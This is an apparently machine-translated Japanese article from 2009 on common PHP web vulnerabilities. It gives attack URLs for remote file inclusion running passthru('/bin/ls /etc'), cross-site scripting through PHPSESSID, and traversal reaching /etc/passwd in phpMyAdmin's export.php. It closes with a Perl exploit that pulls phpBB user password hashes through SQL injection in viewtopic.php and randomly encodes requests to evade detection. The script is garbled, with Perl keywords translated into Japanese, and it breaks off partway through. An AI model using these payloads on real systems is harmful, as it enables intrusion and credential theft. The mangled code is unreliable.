一般的な PHP ページの脆弱性分析と関連する問題解決
著者:Eve Cole
更新時間:2009-06-02 18:07:08
現在のネットワーク セキュリティから判断すると、誰もが最も懸念し、最も危険にさらされている Web ページの脆弱性は ASP であるはずです。この点に関しては、Xiaozhu が専門家であるため、私は何も言えません。しかし、PHP の観点から言えば、そこにあります。も非常に深刻なセキュリティ脆弱性の問題ですが、この分野に関する記事はあまりありません。ここでは、PHP ページの関連する脆弱性について簡単に説明します。
現在一般的な PHP の脆弱性をまとめました。ファイルの脆弱性、スクリプト コマンド実行の脆弱性、ファイル リークの脆弱性、SQL インジェクションの脆弱性など、大きく次のカテゴリに分類されます。もちろん、次のようないくつかの一般的なテクノロジについても同様です。 COOKIE スプーフィングについては、ここでは説明しません。オンライン上にたくさんの情報があるので、これらの脆弱性を悪用する方法を 1 つずつ分析してみましょう。
まず、含まれるファイルの脆弱性について説明します。この脆弱性は、外部から提供された悪意のあるデータの処理が不十分であるため、リモートの攻撃者がこれらの脆弱性を悪用して、WEB プロセスを使用してシステム上で任意のコマンドを実行することができます。例を見てみましょう: a.php に次のようなコードがあるとします。
include($include."/xxx.php");
?>
このコードでは、$include は通常、設定されているパスですが、たとえば a.php?include=http://web/b のようにパスを構築することで攻撃の目的を達成できます。 php、この Web は攻撃に使用する空間です。もちろん、b.php は攻撃に使用するコードです。 b.php コードには passthru("/bin/ls /etc") を記述できます。このようにして、意図的な攻撃を実行できます (注: Web サーバーは PHP コードを実行できません。そうしないと問題が発生します。関連する詳細については、<<PHP プログラムの一般的な脆弱性を攻撃する方法>> を参照してください。この脆弱性に関しては、次のような多くの問題があります。
HotNews、Mambo Open Source、PhpDig、YABB SE、phpBB、InvisionBoard、SOLMETRA SPAW Editor、Les Visiteurs、PhpGedView、X-Cart など。
次に、スクリプト コマンド実行の脆弱性を見てみましょう。これは、ユーザーが送信した URI パラメータのフィルタリングが不十分であることが原因で、悪意のある HTML コードを含むデータを送信すると、クロスサイト スクリプティング攻撃が引き起こされ、機密情報が取得される可能性があります。対象ユーザー。例も示します。PHP Transparent PHP 4.3.1 以前のindex.php ページには、PHPSESSID の十分なフィルタリングがありません。このようなコードを通じて攻撃の目的を達成できます。
http://web/index.php?PHPSESSID =">スクリプトでは、ユーザーの機密情報を取得する関数を構築できます。この点に関する脆弱性は比較的少数です。PHP Transparent に加えて、次のようなものもあります。 Nuke、phpBB、PHP Classifieds、PHPix、Ultimate PHP Board など。
次に、ファイル開示の脆弱性を見てみましょう。この脆弱性は、ユーザーが送信したパラメータのフィルタリングが不十分であることが原因で、これを利用してディレクトリ トラバーサル攻撃を実行し、機密情報を取得する可能性があります。最近発見された phpMyAdmin を例に挙げてみましょう。phpMyAdmin では、export.php ページがユーザーによって送信された「what」パラメータを完全にフィルタリングしていません。リモート攻撃者は、複数の「../」文字を含むデータを送信することでこれを回避できます。 WEB ROOT の制限を克服し、WEB 権限を使用してシステム上のファイル情報を表示します。たとえば、export.php?what=../../../../../../etc/passwd%00 というアドレスを入力すると、ファイル漏洩の目的を達成できます。比較的多くあります: myPHPNuke、McNews など。
最後に、最もエキサイティングな場所に戻ります。以前は、Xiaozhu が「SQL インジェクションの秘密の本」を理解するまで、手動でインジェクションを行う必要がありました。 NBSI の立ち上げ後、私たちの NB Alliance は本当に大きな変化をもたらしました。私たちは CSDN、Monopoly Forum、China Channel などの大規模な Web サイトの抜け穴を見つけるのに協力してきました (これについてはこれ以上はナンセンスです。話が逸れました...) 話に戻りましょう。実際、ASP での SQL インジェクションは、使用されるいくつかの関数に少し注意してください。実際、PHP の SQL インジェクションを見ると、誰もが PHP-NUKE と PHPBB を思い浮かべますか? はい、よく言われるように、Dongwang のようなフォーラムは大きなポイントを獲得できるはずです。 ASP 界の脆弱性の王様です。これは、そのフォーラムのセキュリティが低すぎるということではなく、他の人が使用するほど、より多くの人がそれを研究し、セキュリティが向上するということです。同じことが PHPBB にも当てはまります。現在、フォーラムを構築するために PHP を使用する人は、phpBB 1.4.0 バージョンで発見された最初の脆弱性から、常に PHPBB を選択します。 phpBB.com から phpBB 2.0.6 バージョンの最新の groupcp.php に加えて、以前に発見された search.php、profile.php、viewtopic.php などもおそらく十数個あります。 PHPBB は常に、PHP の脆弱性を研究する際に実験製品として使用する人がいます。多くの練習を経て、PHPBB は将来的にはより良くなると信じています。
さて、脆弱性の原因を分析しましょう。viewtopic.php ページを例として考えます。viewtopic.php を呼び出すと、「topic_id」が GET リクエストから直接取得され、実行されずに SQL クエリ コマンドに渡されます。フィルタリング処理を実行すると、攻撃者は特別な SQL 文字列を送信して MD5 パスワードを取得し、このパスワード情報を自動ログインやブルート フォース クラッキングに使用することができます。 (特に重要な理由がない限り、ブルートフォースクラッキングをしたい人はいないと思います) まず、関連するソースコードを見てみましょう。
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS['topic']) )
# {
# $topic_id = intval($HTTP_GET_VARS['topic']);
# }
上記のことから、送信された view=newest および sid が値に設定されている場合、実行されるクエリ コードは次のようになっていることがわかります (PHPBB ソース コードをまだ見ていない場合は、それを読んでからここに来ることをお勧めします)影響を受けるシステムは phpBB 2.0.5 と phpBB 2.0.4 です)。
# $sql = "SELECT p.post_id
# FROM " .POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
# WHERE s.session_id = '$session_id'
# AND u.user_id = s.session_user_id
# AND p.topic_id = $topic_id
# AND p.post_time >= u.user_lastvisit
# p.post_time ASC で注文
# 制限 1";
Rick は次のテスト コードを提供しました。
IO::ソケットを使用します。
$remote = 'ローカルホスト';
$view_topic = シフト || '/phpBB2/viewtopic.php';
$uid = シフト || 2;
$ポート = 80;
$dbtype = 'mysql4' # mysql4 または pgsql;
print "uid $uid サーバー $remote dbtype: $dbtype のパスワード ハッシュを取得しようとしていますn";
$p = "";
for($index=1; $index<=32; $index++)
{
$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $port、
プロト => "tcp"、
タイプ => SOCK_STREAM)
または、「$remote:$port に接続できませんでした: $@n ";
$str = "GET $view_topic" . "?sid=1&topic_id=-1" .random_encode(make_dbsql()) " HTTP/1.0nn";
$socket $str; を出力します。
print $socket "Cookie: phpBB2mysql_sid=1n"; # これを pgsql に置き換えるか、削除します。
print $socket "ホスト: $remotenn";
while ($answer = <$socket>)
{
if ($answer =~ /location:.*x23(d+)/) # 場所と一致します: viewtopic.php?p=#
{
$p .= chr();
}
}
閉じる($socket);
}
print "nuid $uid の MD5 ハッシュは $pn";
# ランダムエンコード文字列は検出を回避するのに役立ちます。
サブランダムエンコード
{
$str = シフト;
$ret = "";
for($i=0; $i